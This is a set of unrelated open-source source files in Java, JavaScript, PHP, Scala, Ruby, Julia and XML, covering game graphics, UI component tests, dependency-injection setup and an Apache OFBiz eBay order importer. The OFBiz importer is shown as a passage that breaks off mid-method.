text:
package jsettlers.graphics.map;

import java.util.List;

import jsettlers.common.buildings.EBuildingType;
import jsettlers.common.buildings.IBuilding;
import jsettlers.common.buildings.IBuildingMaterial;
import jsettlers.common.mapobject.EMapObjectType;
import jsettlers.common.mapobject.IMapObject;
import jsettlers.common.material.EPriority;
import jsettlers.common.position.ShortPoint2D;
import jsettlers.common.selectable.ESelectionType;

/**
 * This is a fake building that is drawn under the mouse while we are in the build mode.
 *
 * @author ?
 *
 */
public class PlacementBuilding implements IBuilding, IBuilding.IMill {
	private final EBuildingType typeToPlace;

	/**
	 * Create a new, fake {@link PlacementBuilding}.
	 *
	 * @param type
	 *            The type.
	 */
	public PlacementBuilding(EBuildingType type) {
		this.typeToPlace = type;
	}

	@Override
	public EMapObjectType getObjectType() {
		return EMapObjectType.PLACEMENT_BUILDING;
	}

	@Override
	public EBuildingType getBuildingType() {
		return typeToPlace;
	}

	@Override
	public float getStateProgress() {
		return 1f;
	}

	@Override
	public boolean isRotating() {
		return false;
	}

	@Override
	public boolean isSelected() {
		return false;
	}

	@Override
	public IMapObject getNextObject() {
		return null;
	}

	@Override
	public byte getPlayerId() {
		return 0;
	}

	@Override
	public void setSelected(boolean selected) {
	}

	@Override
	public ESelectionType getSelectionType() {
		return null;
	}

	@Override
	public ShortPoint2D getPos() {
		return null;
	}

	@Override
	public EPriority getPriority() {
		return null;
	}

	@Override
	public EPriority[] getSupportedPriorities() {
		return null;
	}

	@Override
	public boolean isOccupied() {
		return false;
	}

	@Override
	public List<IBuildingMaterial> getMaterials() {
		return null;
	}

	@Override
	public void setSoundPlayed() {
	}

	@Override
	public boolean isSoundPlayed() {
		return false;
	}

	@Override
	public IMapObject getMapObject(EMapObjectType type) {
		if (type == getObjectType()) {
			return this;
		} else {
			return null;
		}
	}

	@Override
	public boolean cannotWork() {
		return false;
	}
}


text:
import React from "react";
import { mount } from "enzyme";
import { Switch } from "../index";

import renderer from "react-test-renderer";

describe("Test switch component render", () => {
  it("Render correctly", () => {
    const tree = renderer
      .create(
        <Switch
          className={"Class"}
          disabled={false}
          hidden={false}
          checked={false}
          name={"Name"}
          id={"ID"}
          onColor={"black"}
          onClick={() => {}}
          offColor={"white"}
          buttonColor={"grey"}
          small={false}
          medium
          large={false}
          onChange={() => {}}
          onBeforeChange={() => {}}
          inline={false}
        />
      )
      .toJSON();
    expect(tree).toMatchSnapshot();
  });
});

describe("Testing switch component", () => {
  it("Change Props", () => {
    const swich = mount(
      <Switch
        className={"Class"}
        disabled={false}
        hidden={false}
        checked={false}
        name={"Name"}
        id={"ID"}
        onColor={"black"}
        onClick={() => {}}
        offColor={"white"}
        buttonColor={"grey"}
        small={false}
        medium
        large={false}
        onChange={() => {}}
        onBeforeChange={() => {}}
        inline={false}
      />
    );

    swich.setProps({ name: "NewName" });

    swich.setProps({ checked: true });
    expect(swich.state().checked).toEqual(true);

    swich.setProps({ disabled: true });
    expect(swich.state().disabled).toEqual(true);
  });

  it("buttonColor applies", () => {
    const swich = mount(<Switch buttonColor="red" />);
    expect(swich.find(".handleEnabledColor").html()).toContain(
      "background: red;"
    );
  });

  it("className applies", () => {
    const swich = mount(<Switch className="myClass" />);
    console.log(swich.html());
    expect(swich.find(".myClass").exists()).toBe(true);
  });

  it("disabled applies", () => {
    const swich = mount(<Switch disabled />);
    expect(swich.find("input").props().disabled).toBe(true);
  });

  it("hidden applies hidden class to div surrounding input", () => {
    const swich = mount(<Switch hidden />);
    expect(swich.find(".hidden").exists()).toBe(true);
  });

  it("id applies", () => {
    const swich = mount(<Switch id="myId" />);
    expect(swich.html()).toContain('id="myId"');
  });

  it("inline applies", () => {
    const swich = mount(<Switch inline />);
    expect(swich.find(".inline").exists()).toBe(true);
  });

  it("label applies", () => {
    const swich = mount(<Switch label="mySwitch" />);
    expect(swich.find("label").exists()).toBe(true);
    expect(swich.find("label").text()).toBe("mySwitch");
  });

  it("leftLabel applies", () => {
    const swich = mount(<Switch leftLabel label="mySwitch" />);
    expect(swich.find(".leftLabelContent").exists()).toBe(true);
  });

  it("name applies", () => {
    const swich = mount(<Switch name="mySwitch" />);
    expect(swich.find("input").props().name).toBe("mySwitch");
  });

  it("onColor applies", () => {
    const swich = mount(<Switch offColor="blue" onColor="purple" />);
    expect(swich.find(".onColorMedium").props().style).toEqual({
      background: "purple"
    });
  });

  it("Small switch applies small class", () => {
    const swich = mount(<Switch small />);

    expect(swich.find(".sliderSmall").exists()).toBe(true);
  });

  it("Medium switch by default", () => {
    const swich = mount(<Switch />);

    expect(swich.find(".sliderMedium").exists()).toBe(true);
  });

  it("Large switch applies large class", () => {
    const swich = mount(<Switch large />);
    expect(swich.find(".sliderLarge").exists()).toBe(true);
  });

  it("onClick does not run when disabled", () => {
    const handleClick = jest.fn();
    const swich = mount(<Switch disabled onClick={handleClick} />);
    swich.find("input").simulate("click");
    expect(handleClick).not.toBeCalled();
    expect(swich.state().checked).toBe(false);
  });

  it("onClick", () => {
    const handleClick = jest.fn();
    const swich = mount(<Switch onClick={handleClick} />);
    swich.find("input").simulate("click");
    expect(handleClick).toBeCalled();
    expect(swich.state().checked).toBe(true);
  });

  it("onChange", () => {
    const handleChange = jest.fn();
    const swich = mount(<Switch onChange={handleChange} />);
    swich.find("input").simulate("click");
    expect(handleChange).toBeCalled();
    expect(swich.state().checked).toBe(true);
  });

  it("onBeforeChange", () => {
    const handleBeforeChange = jest.fn();
    const swich = mount(<Switch onBeforeChange={handleBeforeChange} />);
    swich.find("input").simulate("click");
    expect(handleBeforeChange).toBeCalled();
  });

  it("onBeforeChange can be used to prevent state change of checked", () => {
    const handleChange = jest.fn();
    const handleClick = jest.fn();
    const handleBeforeChange = jest.fn().mockImplementation(() => false);
    const swich = mount(
      <Switch
        onBeforeChange={handleBeforeChange}
        onClick={handleClick}
        onChange={handleChange}
      />
    );
    swich.find("input").simulate("click");
    expect(handleBeforeChange).toBeCalled();
    expect(swich.state().checked).toBe(false);
  });
});

redpajama_set_name: RedPajamaGithub


text:
<?php
class test extends Controller
{
    function index()
    {
        //session();
        $data = createModel('UserInfo')->get(12)->get();
        $this->swoole->tpl->assign('data',$data);
        $html = $this->swoole->tpl->fetch('test.html');
        $time = $this->showTime();
        return $html.$time;
    }

    function sess()
    {
        $this->session_start();
        //$_SESSION['hello'] = "write to session";
        return $_SESSION['hello'].$this->showTime();
    }

    function testme()
    {
        $hello = 80;
        echo 3435*$hello,NL;
        require LIBPATH.'/code/console.php';
    }
}


text:
package com.snail.hostseditor.dagger;

import com.snail.hostseditor.HomeActivity;
import com.snail.hostseditor.core.NetEngine;
import com.snail.hostseditor.currentHost.CurrentHostAdapter;
import com.snail.hostseditor.currentHost.CurrentHostFragment;
import com.snail.hostseditor.currentHost.CurrentHostPresenter;
import com.snail.hostseditor.event.ShowCurrentHostEvent;
import com.snail.hostseditor.pannel.PanelFragment;
import com.snail.hostseditor.pannel.PanelPresenter;
import com.snail.hostseditor.core.task.ListHostsAsync;
import com.snail.hostseditor.core.task.ReplaceHostAsync;
import com.squareup.otto.Bus;

import javax.inject.Singleton;

import dagger.Module;
import dagger.Provides;

@Module(
        injects = {
                ListHostsAsync.class,
                ReplaceHostAsync.class,
                HomeActivity.class,
                NetEngine.class,
                PanelFragment.class,
                PanelPresenter.class,
                ShowCurrentHostEvent.class,
                CurrentHostFragment.class,
                CurrentHostPresenter.class,
                CurrentHostAdapter.class
        },
        includes = {
                NetModule.class,
        }
)
public class DependModule {

    @Provides
    @Singleton
    Bus provideBus() {
        return new Bus();
    }

}


text:
/*                     __                                               *\
**     ________ ___   / /  ___     Scala API                            **
**    / __/ __// _ | / /  / _ |    (c) 2007-2013, LAMP/EPFL             **
**  __\ \/ /__/ __ |/ /__/ __ |    http://scala-lang.org/               **
** /____/\___/_/ |_/____/_/ | |                                         **
**                          |/                                          **
\*                                                                      */

package scala.swing

object Scrollable {
  trait Wrapper extends Scrollable {
    protected def scrollablePeer: javax.swing.Scrollable
    def preferredViewportSize = scrollablePeer.getPreferredScrollableViewportSize

    def tracksViewportHeight: Boolean = scrollablePeer.getScrollableTracksViewportHeight
    def tracksViewportWidth: Boolean = scrollablePeer.getScrollableTracksViewportWidth

    def blockIncrement(visibleRect: Rectangle, orientation: Orientation.Value, direction: Int): Int =
      scrollablePeer.getScrollableBlockIncrement(visibleRect, orientation.id, direction)

    def unitIncrement(visibleRect: Rectangle, orientation: Orientation.Value, direction: Int): Int =
      scrollablePeer.getScrollableUnitIncrement(visibleRect, orientation.id, direction)
  }
}

/**
 * A component that is specially suitable for being placed inside a
 * ScrollPane.
 *
 * @see javax.swing.Scrollable
 */
trait Scrollable extends Component {
  def preferredViewportSize: Dimension

  def tracksViewportHeight: Boolean
  def tracksViewportWidth: Boolean

  def blockIncrement(visibleRect: Rectangle, orientation: Orientation.Value, direction: Int): Int
  def unitIncrement(visibleRect: Rectangle, orientation: Orientation.Value, direction: Int): Int
}


text:
<?php

namespace ContainerFelbUiK;

use Symfony\Component\DependencyInjection\Argument\RewindableGenerator;
use Symfony\Component\DependencyInjection\Exception\RuntimeException;

/**
 * @internal This class has been auto-generated by the Symfony Dependency Injection Component.
 */
class getTranslation_ExtractorService extends App_KernelDevDebugContainer
{
    /**
     * Gets the private 'translation.extractor' shared service.
     *
     * @return \Symfony\Component\Translation\Extractor\ChainExtractor
     */
    public static function do($container, $lazyLoad = true)
    {
        include_once \dirname(__DIR__, 4).'/vendor/symfony/translation/Extractor/ExtractorInterface.php';
        include_once \dirname(__DIR__, 4).'/vendor/symfony/translation/Extractor/ChainExtractor.php';
        include_once \dirname(__DIR__, 4).'/vendor/symfony/translation/Extractor/AbstractFileExtractor.php';
        include_once \dirname(__DIR__, 4).'/vendor/symfony/translation/Extractor/PhpExtractor.php';
        include_once \dirname(__DIR__, 4).'/vendor/symfony/twig-bridge/Translation/TwigExtractor.php';

        $container->privates['translation.extractor'] = $instance = new \Symfony\Component\Translation\Extractor\ChainExtractor();

        $instance->addExtractor('php', new \Symfony\Component\Translation\Extractor\PhpExtractor());
        $instance->addExtractor('twig', new \Symfony\Bridge\Twig\Translation\TwigExtractor(($container->services['twig'] ?? $container->getTwigService())));

        return $instance;
    }
}


text:
package com.jx.androiddemos.view;

import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;

import com.jx.androiddemos.R;
import com.jx.androiddemos.view.touch.TouchActivity;
import com.jx.androiddemos.view.widget.WidgetActivity;

public class ViewMainActivity extends AppCompatActivity implements View.OnClickListener{
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_view_main);
        findViewById(R.id.button_touch).setOnClickListener(this);
        findViewById(R.id.button_widget).setOnClickListener(this);
    }

    @Override
    public void onClick(View v) {
        int id=v.getId();
        Intent intent=null;
        switch (id){
            case R.id.button_touch:
                intent=new Intent(this, TouchActivity.class);
                startActivity(intent);
                break;
            case R.id.button_widget:
                intent=new Intent(this, WidgetActivity.class);
                startActivity(intent);
                break;
        }
    }
}


text:
package com.demo.listener;

import javax.servlet.http.HttpSession;

import org.apache.commons.fileupload.ProgressListener;
import org.springframework.stereotype.Component;

import com.demo.entity.Progress;

@Component
public class FileUploadProgressListener implements ProgressListener {

    private HttpSession session;

    public void setSession(HttpSession session){
        this.session = session;
        Progress status = new Progress();
        session.setAttribute("status", status);
    }

    @Override
    public void update(long pBytesRead, long pContentLength, int pItems) {
        Progress status = (Progress) session.getAttribute("status");
        status.setBytesRead(pBytesRead);
        status.setContentLength(pContentLength);
        status.setItems(pItems);
    }

}


text:
require "spec_helper"

RSpec.describe ShardingKit::ConnectionManager do
  let(:manager) { ActiveRecord::Base.connection_manager }

  describe "#connection_name_for" do
    subject { manager.connection_name_for(ActiveRecord::Base.connection_handler) }

    it "should return master" do
      is_expected.to eq :master
    end

    it "when current connection was master, should return master" do
      manager.on_db(:master) do
        expect(subject).to eq :master
      end
    end

    it "when current connection was shard_1, should return shard_1" do
      manager.on_db(:shard_1) do
        expect(subject).to eq :shard_1
      end
    end
  end

  describe "#on_db" do
    it "when using master, should use the master connection" do
      manager.on_db(:master) do
        expect(ActiveRecord::Base.connection_config[:database]).to eq "sharding_kit_test"
      end
    end

    it "when using shard_1, should use the shard_1 connection" do
      manager.on_db(:shard_1) do
        expect(ActiveRecord::Base.connection_config[:database]).to eq "sharding_kit_shard_1_test"
      end
    end

    it "when using shard_3(nested). should use the shard_3 connection" do
      manager.on_db(:shard_2) do
        manager.on_db(:shard_3) do
          expect(ActiveRecord::Base.connection_config[:database]).to eq "sharding_kit_shard_3_test"
        end
      end
    end
  end

  describe "#on_each_db" do
    it "should" do
      database = []
      manager.on_each_db do
        database << ActiveRecord::Base.connection_config[:database]
      end

      expect(database).to eq %w(sharding_kit_test sharding_kit_shard_1_test sharding_kit_shard_2_test sharding_kit_shard_3_test
                                sharding_kit_shard_4_test sharding_kit_shard_5_test sharding_kit_shard_6_test)
    end
  end

  describe "#establish_connection" do
    subject { manager.establish_connection(shard, spec) }

    let(:manager) do
      described_class.new
    end

    let(:shard) do
      "shard_1"
    end

    let(:spec) do
      ActiveRecord::Base.configurations["test"]["connections"][shard]
    end

    it "should " do
      expect { subject }.to change { manager.instance_variable_get(:@handlers) }.from({}).to(
        shard => kind_of(ActiveRecord::ConnectionAdapters::ConnectionHandler))
    end
  end
end


text:
import Escher: Elem, Tile, render
import Base: convert

type VegaPlot <: Tile
    json::AbstractString
end

convert(::Type{Tile}, v::VegaVisualization) = VegaPlot(JSON.json(tojs(v)))

render(plot::VegaPlot, state) =
    Elem(:"vega-plot", attributes = Dict(:json=>plot.json))


text:
<?xml version="1.0" encoding="UTF-8"?>
<?eclipse version="3.2"?>
<plugin>
   <extension
         point="com.google.devtools.depan.graph.registry.relation">
      <relation_contibutor
            class="com.google.devtools.depan.maven.MavenRelationContributor"
            id="com.google.devtools.depan.maven.MavenRelationContributor">
      </relation_contibutor>
   </extension>
   <extension
         point="com.google.devtools.depan.persistence.xstream.config">
      <xstream_config
            class="com.google.devtools.depan.maven.MavenXStreamConfig"
            id="com.google.devtools.depan.maven.MavenXStreamConfig">
      </xstream_config>
   </extension>
</plugin>


text:
package org.apache.ofbiz.ebaystore;

import java.math.BigDecimal;
import java.sql.Timestamp;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Locale;
import java.util.Map;

import org.apache.ofbiz.base.util.Debug;
import org.apache.ofbiz.base.util.GeneralException;
import org.apache.ofbiz.base.util.UtilDateTime;
import org.apache.ofbiz.base.util.UtilGenerics;
import org.apache.ofbiz.base.util.UtilMisc;
import org.apache.ofbiz.base.util.UtilProperties;
import org.apache.ofbiz.base.util.UtilValidate;
import org.apache.ofbiz.ebay.EbayHelper;
import org.apache.ofbiz.entity.Delegator;
import org.apache.ofbiz.entity.GenericValue;
import org.apache.ofbiz.entity.util.EntityQuery;
import org.apache.ofbiz.entity.util.EntityUtil;
import org.apache.ofbiz.order.order.OrderChangeHelper;
import org.apache.ofbiz.order.shoppingcart.CheckOutHelper;
import org.apache.ofbiz.order.shoppingcart.ShoppingCart;
import org.apache.ofbiz.order.shoppingcart.ShoppingCartItem;
import org.apache.ofbiz.party.party.PartyWorker;
import org.apache.ofbiz.service.DispatchContext;
import org.apache.ofbiz.service.GenericServiceException;
import org.apache.ofbiz.service.LocalDispatcher;
import org.apache.ofbiz.service.ServiceUtil;

public class EbayStoreOrder {

    private static final String resource = "EbayUiLabels";
    private static final String module = EbayStoreOrder.class.getName();

    public static Map<String, Object> EbayStoreImportTransaction(DispatchContext dctx, Map<String, Object> context) {
        Map<String, Object> result = new HashMap<String, Object>();
        LocalDispatcher dispatcher = dctx.getDispatcher();
        try {
            if ("Complete".equals(context.get("checkoutStatus").toString()) && "NOT_IMPORT".equals(context.get("importStatus").toString())) {
                if (UtilValidate.isEmpty(context.get("shippingAddressStreet1"))) {
                    context.put("shippingAddressStreet1", context.get("shippingAddressStreet").toString());
                }
                result = dispatcher.runSync("EbayStoreCreateTransactionShoppingCart", context);
            }
        } catch (GenericServiceException e) {
            result = ServiceUtil.returnFailure(e.getMessage());
        }
        result.put("productStoreId", context.get("productStoreId").toString());
        result.put("formSelect", "transaction");
        return result;
    }
    public static Map<String, Object> EbayStoreImportOrder(DispatchContext dctx, Map<String, Object> context) {
        LocalDispatcher dispatcher = dctx.getDispatcher();
        Map<String, Object> result = new HashMap<String, Object>();
        if (UtilValidate.isEmpty(context.get("orderId"))) {
            try {
                result = dispatcher.runSync("EbayStoreCreateOrderShoppingCart", context);
            } catch (GenericServiceException e) {
                result = ServiceUtil.returnFailure(e.getMessage());
            }
        }
        result.put("productStoreId", context.get("productStoreId").toString());
        result.put("formSelect", "order");
        return result;
    }

    public static Map<String, Object> EbayStoreCreateTransactionShoppingCart(DispatchContext dctx, Map<String, Object> context) {
        Delegator delegator = dctx.getDelegator();
        LocalDispatcher dispatcher = dctx.getDispatcher();
        Locale locale = (Locale) context.get("locale");
        GenericValue userLogin = (GenericValue) context.get("userLogin");
        Map<String, Object> result = new HashMap<String, Object>();

        String productStoreId = context.get("productStoreId").toString();
        String defaultCurrencyUomId = "";
        String payToPartyId = "";
        String facilityId = "";

        try {
            if (UtilValidate.isEmpty(productStoreId)) {
                return ServiceUtil.returnFailure(UtilProperties.getMessage(resource, "ordersImportFromEbay.productStoreIdIsMandatory", locale));
            } else {
                GenericValue productStore = EntityQuery.use(delegator).from("ProductStore").where("productStoreId", productStoreId).queryOne();
                if (productStore != null) {
                    defaultCurrencyUomId = productStore.getString("defaultCurrencyUomId");
                    payToPartyId = productStore.getString("payToPartyId");
                    facilityId = productStore.getString("inventoryFacilityId");
                } else {
                    return ServiceUtil.returnFailure(UtilProperties.getMessage(resource, "ordersImportFromEbay.productStoreIdIsMandatory", locale));
                }
            }

            ShoppingCart cart = new ShoppingCart(delegator, productStoreId, locale, defaultCurrencyUomId);
            String externalId = context.get("externalId").toString();
            if (UtilValidate.isNotEmpty(externalId)) {
                cart.setExternalId(externalId);
            } else {
                return ServiceUtil.returnFailure(UtilProperties.getMessage(resource, "EbayStoreOrder.externalIdNotAvailable", locale));
            }

            cart.setOrderType("SALES_ORDER");
            cart.setChannelType("EBAY_SALES_CHANNEL");
            cart.setUserLogin(userLogin, dispatcher);
            cart.setProductStoreId(productStoreId);

            if (UtilValidate.isNotEmpty(facilityId)) {
                cart.setFacilityId(facilityId);
            }

            String amountStr = context.get("amountPaid").toString();
            BigDecimal amountPaid = new BigDecimal(amountStr);
            if (UtilValidate.isNotEmpty(amountPaid)) {
                amountPaid = new BigDecimal(amountStr);
            }
            cart.addPaymentAmount("EXT_EBAY", amountPaid, externalId, null, true, false, false);

            Timestamp orderDate = UtilDateTime.nowTimestamp();
            if (UtilValidate.isNotEmpty(context.get("createdDate"))) {
                SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'");
                Date createdDate = dateFormat.parse((String) context.get("createdDate"));
                orderDate = new Timestamp(createdDate.getTime());
            }
            cart.setOrderDate(orderDate);

            String productId = context.get("productId").toString();
            if (UtilValidate.isEmpty(productId)) {
                return ServiceUtil.returnFailure(UtilProperties.getMessage(resource, "ordersImportFromEbay.productIdNotAvailable", locale));
            } else {
                GenericValue product = EntityQuery.use(delegator).from("Product").where("productId", productId).queryOne();
                if (UtilValidate.isEmpty(product)) {
                    return ServiceUtil.returnFailure(UtilProperties.getMessage(resource, "ordersImportFromEbay.productIdDoesNotExist", locale));
                }
            }

            if (UtilValidate.isEmpty(context.get("paidTime"))) {
                return ServiceUtil.returnFailure(UtilProperties.getMessage(resource, "ordersImportFromEbay.paymentIsStillNotReceived", locale));
            }

            BigDecimal unitPrice = new BigDecimal(context.get("transactionPrice").toString());
            BigDecimal quantity = new BigDecimal(context.get("quantityPurchased").toString());
            cart.addItemToEnd(productId, null, quantity, unitPrice, null, null, null, "PRODUCT_ORDER_ITEM", dispatcher, Boolean.FALSE, Boolean.FALSE);

            if (UtilValidate.isNotEmpty(payToPartyId)) {
                cart.setBillFromVendorPartyId(payToPartyId);
            }

            String shippingCost = context.get("shippingServiceCost").toString();
            if (UtilValidate.isNotEmpty(shippingCost)) {
                BigDecimal shippingAmount = new BigDecimal(shippingCost);
                if (shippingAmount.doubleValue() > 0) {
                    GenericValue shippingAdjustment = EbayHelper.makeOrderAdjustment(delegator, "SHIPPING_CHARGES", cart.getOrderId(), null, null, shippingAmount.doubleValue(), 0.0);
                    if (shippingAdjustment != null) {
                        cart.addAdjustment(shippingAdjustment);
                    }
                }
            }

            String shippingTotalAdditionalCost = context.get("shippingTotalAdditionalCost").toString();
            if (UtilValidate.isNotEmpty(shippingTotalAdditionalCost)) {
                double shippingAdditionalCost = new Double(shippingTotalAdditionalCost).doubleValue();
                if (shippingAdditionalCost > 0) {
                    GenericValue shippingAdjustment = EbayHelper.makeOrderAdjustment(delegator, "MISCELLANEOUS_CHARGE", cart.getOrderId(), null, null, shippingAdditionalCost, 0.0);
                    if (shippingAdjustment != null) {
                        cart.addAdjustment(shippingAdjustment);
                    }
                }
            }

            String salesTaxAmount = context.get("salesTaxAmount").toString();
            String salesTaxPercent = context.get("salesTaxPercent").toString();
            if (UtilValidate.isNotEmpty(salesTaxAmount)) {
                double salesTaxAmountTotal = new Double(salesTaxAmount).doubleValue();
                if (salesTaxAmountTotal > 0) {
                    double salesPercent = 0.0;
                    if (UtilValidate.isNotEmpty(salesTaxPercent)) {
                        salesPercent = new Double(salesTaxPercent).doubleValue();
                    }
                    GenericValue salesTaxAdjustment = EbayHelper.makeOrderAdjustment(delegator, "SALES_TAX", cart.getOrderId(), null, null, salesTaxAmountTotal, salesPercent);
                    if (salesTaxAdjustment != null) {
                        cart.addAdjustment(salesTaxAdjustment);
                    }
                }
            }

                Debug.logInfo("Importing new order from eBay", module);
                // set partyId to
                String partyId = null;
                String contactMechId = "";
                GenericValue partyAttribute = null;
                if (UtilValidate.isNotEmpty(context.get("eiasTokenBuyer").toString())) {
                    partyAttribute = EntityQuery.use(delegator).from("PartyAttribute").where("attrValue", context.get("eiasTokenBuyer").toString()).queryFirst();
                }

                // if we get a party, check its contact information.
                if (partyAttribute != null) {
                    partyId = (String) partyAttribute.get("partyId");
                    Debug.logInfo("Found existing party associated to the eBay buyer: " + partyId, module);
                    GenericValue party = EntityQuery.use(delegator).from("Party").where("partyId", partyId).queryOne();

                    contactMechId = EbayHelper.setShippingAddressContactMech(dispatcher, delegator, party, userLogin, context);
                    String emailBuyer = context.get("emailBuyer").toString();
                    if (!(emailBuyer.equals("") || emailBuyer.equalsIgnoreCase("Invalid Request"))) {
                        EbayHelper.setEmailContactMech(dispatcher, delegator, party, userLogin, context);
                    }
                    EbayHelper.setPhoneContactMech(dispatcher, delegator, party, userLogin, context);
                }

                // create party if none exists already
                if (UtilValidate.isEmpty(partyId)) {
                    Debug.logInfo("Creating new party for the eBay buyer.", module);
                    partyId = EbayHelper.createCustomerParty(dispatcher, context.get("buyerName").toString(), userLogin);
                    if (UtilValidate.isEmpty(partyId)) {
                        Debug.logWarning("Using admin party for the eBay buyer.", module);
                        partyId = "admin";
                    }
                }

                // create new party's contact information
                if (UtilValidate.isEmpty(contactMechId)) {
                    Debug.logInfo("Creating new postal address for party: " + partyId, module);
                    contactMechId = EbayHelper.createAddress(dispatcher, partyId, userLogin, "SHIPPING_LOCATION", context);
                    if (UtilValidate.isEmpty(contactMechId)) {
                        return ServiceUtil.returnFailure(UtilProperties.getMessage(resource, "EbayStoreUnableToCreatePostalAddress", locale) + context);
                    }
                    Debug.logInfo("Created postal address: " + contactMechId, module);
                    Debug.logInfo("Creating new phone number for party: " + partyId, module);
                    EbayHelper.createPartyPhone(dispatcher, partyId, context.get("shippingAddressPhone").toString(), userLogin);
                    Debug.logInfo("Creating association to eBay buyer for party: " + partyId, module);
                    EbayHelper.createEbayCustomer(dispatcher, partyId, context.get("ebayUserIdBuyer").toString(), context.get("eiasTokenBuyer").toString(), userLogin);
                    String emailBuyer = context.get("emailBuyer").toString();
                    if (UtilValidate.isNotEmpty(emailBuyer) && !emailBuyer.equalsIgnoreCase("Invalid Request")) {
                        Debug.logInfo("Creating new email for party: " + partyId, module);
                        EbayHelper.createPartyEmail(dispatcher, partyId, emailBuyer, userLogin);
                    }
                }

                Debug.logInfo("Setting cart roles for party: " + partyId, module);
                cart.setBillToCustomerPartyId(partyId);
                cart.setPlacingCustomerPartyId(partyId);
                cart.setShipToCustomerPartyId(partyId);
                cart.setEndUserCustomerPartyId(partyId);

                Debug.logInfo("Setting contact mech in cart: " + contactMechId, module);
                cart.setAllShippingContactMechId(contactMechId);
                cart.setAllMaySplit(Boolean.FALSE);

                Debug.logInfo("Setting shipment method: " + context.get("shippingService").toString(), module);
                EbayHelper.setShipmentMethodType(cart, context.get("shippingService").toString(), productStoreId, delegator);

                cart.makeAllShipGroupInfos();

                // create the order
                Debug.logInfo("Creating CheckOutHelper.", module);
                CheckOutHelper checkout = new CheckOutHelper(dispatcher, delegator, cart);
                Debug.logInfo("Creating order.", module);
                Map<String, Object> orderCreate = checkout.createOrder(userLogin);

                String orderId = orderCreate.get("orderId").toString();
                Debug.logInfo("Created order with id: " + orderId, module);

                // approve the order
                if (UtilValidate.isNotEmpty(orderId)) {
                    Debug.logInfo("Approving order with id: " + orderId, module);
                    boolean approved = OrderChangeHelper.approveOrder(dispatcher, userLogin, orderId);
                    Debug.logInfo("Order approved with result: " + approved, module);

                    // create the payment from the preference
                    if (approved) {
                        Debug.logInfo("Creating payment for approved order.", module);
                        EbayHelper.createPaymentFromPaymentPreferences(delegator, dispatcher, userLogin, orderId, externalId, cart.getOrderDate(), amountPaid, partyId);
                        Debug.logInfo("Payment created.", module);
                    }
                }
        } catch (Exception e) {
            result = ServiceUtil.returnFailure(e.getMessage());
        }
        return result;
    }
    public static Map<String, Object> EbayStoreCreateOrderShoppingCart(DispatchContext dctx, Map<String, Object> context) {
        Delegator delegator = dctx.getDelegator();
        LocalDispatcher dispatcher = dctx.getDispatcher();
        Locale locale = (Locale) context.get("locale");
        GenericValue userLogin = (GenericValue) context.get("userLogin");
        Map <String, Object> result = new HashMap<String, Object>();

        String productStoreId = context.get("productStoreId").toString();
        String defaultCurrencyUomId = null;
        String payToPartyId = null;
        String facilityId = null;
        try {
            if (productStoreId == null) {
                return ServiceUtil.returnFailure(UtilProperties.getMessage(resource, "ordersImportFromEbay.productStoreIdIsMandatory", locale));
            } else {
                GenericValue productStore = EntityQuery.use(delegator).from("ProductStore").where("productStoreId", productStoreId).queryOne();
                if (productStore != null) {
                    defaultCurrencyUomId = productStore.getString("defaultCurrencyUomId");
                    payToPartyId = productStore.getString("payToPartyId");
                    facilityId = productStore.getString("inventoryFacilityId");
                } else {
                    return ServiceUtil.returnFailure(UtilProperties.getMessage(resource, "ordersImportFromEbay.productStoreIdIsMandatory", locale));
                }
            }
            ShoppingCart cart = new ShoppingCart(delegator, productStoreId, locale, defaultCurrencyUomId);

            // set the external id with the eBay Item Id
            String externalId = (String) context.get("externalId");
            cart.setOrderType("SALES_ORDER");
            cart.setChannelType("EBAY_SALES_CHANNEL");
            cart.setUserLogin(userLogin, dispatcher);
            cart.setProductStoreId(productStoreId);

            if (UtilValidate.isNotEmpty(facilityId)) {
                cart.setFacilityId(facilityId);
            }

            String amountStr = (String) context.get("amountPaid");
            BigDecimal amountPaid = BigDecimal.ZERO;
            if (UtilValidate.isNotEmpty(amountStr)) {
                amountPaid = new BigDecimal(amountStr);
            }
            cart.addPaymentAmount("EXT_EBAY", amountPaid, externalId, null, true, false, false);
            Timestamp orderDate = UtilDateTime.nowTimestamp();
            if (UtilValidate.isNotEmpty(context.get("createdDate"))) {
                SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'");
                Date createdDate = dateFormat.parse((String) context.get("createdDate"));
                orderDate = new Timestamp(createdDate.getTime());
            }

            cart.setOrderDate(orderDate);
            // Before import the order from eBay to OFBiz is mandatory that the payment has be received
            String paidTime = (String) context.get("paidTime");
            if (UtilValidate.isEmpty(paidTime)) {
                return ServiceUtil.returnFailure(UtilProperties.getMessage(resource, "ordersImportFromEbay.paymentIsStillNotReceived", locale));
            }

            List<Map<String, Object>> orderItemList = UtilGenerics.checkList(context.get("orderItemList"));
            Iterator<Map<String, Object>> orderItemIter = orderItemList.iterator();
            while (orderItemIter.hasNext()) {
                Map<String, Object> orderItem = orderItemIter.next();
                addItem(cart, orderItem, dispatcher, delegator, 0);
            }

            // set partyId from
            if (UtilValidate.isNotEmpty(payToPartyId)) {
                cart.setBillFromVendorPartyId(payToPartyId);
            }

            Map<String, Object> shippingServiceSelectedCtx =  UtilGenerics.checkMap(context.get("shippingServiceSelectedCtx"));
            if (UtilValidate.isNotEmpty(shippingServiceSelectedCtx.get("shippingServiceCost"))) {
                BigDecimal shippingAmount = new BigDecimal(shippingServiceSelectedCtx.get("shippingServiceCost").toString());
                if (shippingAmount.doubleValue() > 0) {
                    GenericValue shippingAdjustment = EbayHelper.makeOrderAdjustment(delegator, "SHIPPING_CHARGES", cart.getOrderId(), null, null, shippingAmount.doubleValue(), 0.0);
                    if (shippingAdjustment != null) {
                        cart.addAdjustment(shippingAdjustment);
                    }
                }
            }

            // Apply additional shipping costs as order adjustment
            if (UtilValidate.isNotEmpty(shippingServiceSelectedCtx.get("shippingTotalAdditionalCost"))) {
                BigDecimal shippingAdditionalCost = new BigDecimal(shippingServiceSelectedCtx.get("shippingTotalAdditionalCost").toString());
                if (shippingAdditionalCost.doubleValue() > 0) {
